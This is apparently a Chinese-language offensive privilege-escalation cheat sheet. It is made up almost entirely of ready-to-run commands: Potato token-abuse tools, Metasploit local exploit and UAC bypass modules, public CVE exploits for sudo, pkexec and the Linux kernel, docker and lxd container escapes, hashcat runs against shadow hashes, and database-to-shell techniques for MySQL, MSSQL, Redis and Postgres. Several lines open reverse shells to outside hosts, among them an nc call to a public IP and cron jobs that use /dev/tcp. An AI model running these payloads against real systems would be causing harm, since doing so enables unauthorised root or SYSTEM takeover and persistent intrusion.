







详细:https://forum.butian.net/share/473

详细:https://www.cnblogs.com/LLeaves/p/13210005.html




详细:https://xz.aliyun.com/news/7237
python wes.py systeminfo.txt -c -i "Elevation of Privilege" -o vuln.csv


下载链接:https://github.com/bitsadmin/wesng
1.欺骗高权限进程:诱使NT AUTHORITY\SYSTEM账户向攻击者控制的 TCP 端点发起 NTLM 认证
2.中间人攻击:捕获并修改认证数据包,完成 SYSTEM 令牌的本地协商
3.令牌模拟:利用攻击者已有的SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限,将捕获的令牌转换为可使用的本地令牌
4.创建高权限进程:使用 SYSTEM 令牌启动新进程,实现权限提升至NT AUTHORITY\SYSTEM
GodPotato -cmd cmd c 命令

SweetPotato.exe -a "命令"

badspotato 命令

EfsPotato 命令

RasmanPotato.exe -i -c 命令 -m 1

PetitPotato.exe 3 cmd

JuicyPotatoNG.exe -t * -p C:\Users\Administrator\Desktop\nc.exe -a "47.109.177.97 9988 -e "c:\windows\system32\cmd.exe"

PrintNotifyPotato.exe 命令

CoercedPotato.exe -c whoami
CoercedPotato.exe -c cmd.exe

https://mp.weixin.qq.com/s/OW4ybuqtErh_ovkTWLSr8w
https://xz.aliyun.com/news/18219


详细:https://github.com/redpack-kr/CVE-2025-60710
use post/multi/recon/local_exploit_suggester
set session 1
set SHOWDESCRIPTION true
run
ps
migrate pid

pinjector -l
pinjector -p pid cmd 3333
nc监听



use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

Tokenvator GetTrustedInstaller/Command:c:\windows\system32\cmd.exe

getsystem
execute -cH -f ./potato.exe
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"


cmd.bat:命令&
test.pdf
python CVE-2023-38831.py test.pdf cmd.bat test.rar
打开解压包双击目标文件

at 21:00 /interactive 命令

sc Create syscmd binPath= "后门路径" type= own type= interact
sc start syscmd

psexec.exe -accepteula -s -i -d cmd

搜索命令 wmic service get PathName /value | findstr /v /i "PathName=" | findstr " " | findstr /v """



use use exploit/windows/local/bypassuac
set session 1
run
use exploit/windows/local/ask
set session 1
run
getsystem
use exploit/windows/local/bypassuac_sluihijack
set session 1
run
use exploit/windows/local/bypassuac_silentcleanup
set session 1
run

akagi64.exe 61 木马 23、41、61、62

详细:https://www.freebuf.com/articles/defense/429726.html
./linux-exploit-suggester

下载链接:https://github.com/The-Z-Labs/linux-exploit-suggester
编译
g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
启动python
python -c 'import pty; pty.spawn("/bin/bash")'
运行
./dcow

https://github.com/gbonacini/CVE-2016-5195
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
set session 1
run

copy_page_to_iter_pipe和push_pipe函数在处理新的管道缓冲区结构时,未正确初始化 "flags" 成员,导致其可能包含失效值。未授权的本地用户可以利用此漏洞写入由只读文件支持的页面缓存中的页面,从而提升其在系统上的权限use exploit/linux/local/cve_2022_0847_dirtypipe
set session 1
run

suid利用查询网站:https://gtfobins.github.io/
find / -user root -perm -4000 -print 2>/dev/null

./LinEnum.sh
下载:https://github.com/rebootuser/LinEnum


sudo setcap "CAP_SETUID+ep" 文件路径 root权限
sudo setcap "CAP_DAC_OVERRIDE+ep" 文件路径 查看权限
sudo setcap “CAP_SYS_PTRACE” 文件路径 进程进程管理
sudo setcap -r 文件路径
getcap -r / 2>/dev/null


详细链接:https://www.cnblogs.com/f-carey/p/16026088.html#tid-RJjMJW
./LinEnum.sh | grep NOPASSWD


sudoedit -s命令加上以单个反斜杠字符结尾的命令行参数,从而提升权限到rootsudoedit -s / (报错)
git clone https://www.github.com/blasty/CVE-2021-3156.git
cd cve-2021-3156
make
chmod a+x sudo—hax-me-a-sandwith
./sudo—hax-me-a-sandwith 0|1|2

--chroot选项时,会从用户控制的目录中读取/etc/nsswitch.conf文件并结合--chroot选项,绕过正常的权限检查机制。这个改动会导致Sudo程序执行时使用了恶意构造的/etc/nsswitch.conf文件,从而使得攻击者可以提升权限至rootgit clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
cd
./sudo-chwoot.sh






./LinEnum.sh | grep '(docker)'
创建容器
docker run -v /:/mnt --rm -it alpine

hashcat.exe -a 0 -m 1800 linux_shadow.txt password.txt (linux_$6$)
hashcat.exe -a 0 -m 15900 linux_shadow.txt password.txt --status --username (linux_$y$)


vi /mnt/var/spool/cron/root
*/1 * * * * bash -i >& /dev/tcp/ip/9999 0>&1 2>&1

ssh-keygen
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
echo 公钥 > /mnt/root/.ssh/authorized_keys





./LinEnum.sh | grep (lxd)
导入 Alpine 镜像
lxc image import alpine-v3.16-x86_64-20221112_0508.tar.gz --alias alpine初始化 Alpine 镜像
添加 security.privileged=true 标志,以便容器以 root 身份运行lxc init alpine juggernaut -c security.privileged=true
将宿主机文件系统 / 目录挂载到到容器内操作系统的挂载点上
lxc config device add juggernaut gimmeroot disk source=/ path=/mnt/root recursive=true启动容器
lxc start juggernaut进入 root shell
lxc exec juggernaut sh

shell代码:#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main() { setuid(0); system("/bin/bash"); return 0; }



方法:在当前目录复制echo “/bin/bash” > /tmp/ps
chmod 777 ps
创建环境变量目录 export PATH=/tmp:$PATH
执行文件
Root


dpkg -s policykit-1 2>/dev/null | grep -q "Status: install" && echo "已安装" || echo "未安装"
git clone https://www.github.com/berdav/CVE-2021-4034.git
Cd cve-2021-4034
Make
./cve-2021-4034

GRANT ALL PRIVILEGES ON *.*TO 'root'@'%' IDENTIFIED BY '(password)' WITH GRANT OPTION;
FLUSH PRIVILEGES;
大于5.2的在/www/server/mysql/lib/plugin
小于5.2的在c:/windows 或systeam32
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set username root
set password xxx
set rhosts ip
run



use exploit/windows/mysql/mysql_start_up
set rhosts ip
set username root
set password xxx
set AllowNoCleanup true
run

use exploit/windows/mysql/mysql_mof
set rhosts ip
set username root
set password xxx
run

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1;
RECONFIGURE;
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC master.dbo.xp_cmdshell '命令'

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c 命令 >c:\1.txt'

ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.225.131 -x set xxx
Redis的备份路径为/root/.ssh/
redis-cli -h 192.168.225.131 -p 6379
config set dir /root/.ssh
config set dbfilename authorized_keys
save



redis-cli -h 192.168.225.131 -p 6379
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.225.130/9999 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save



python redis-rce.py -r 192.168.225.131 -L 192.168.225.131 -f exp.so

DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;

github:hkl1x
weixin:wxid_gyhkcfxipu5w22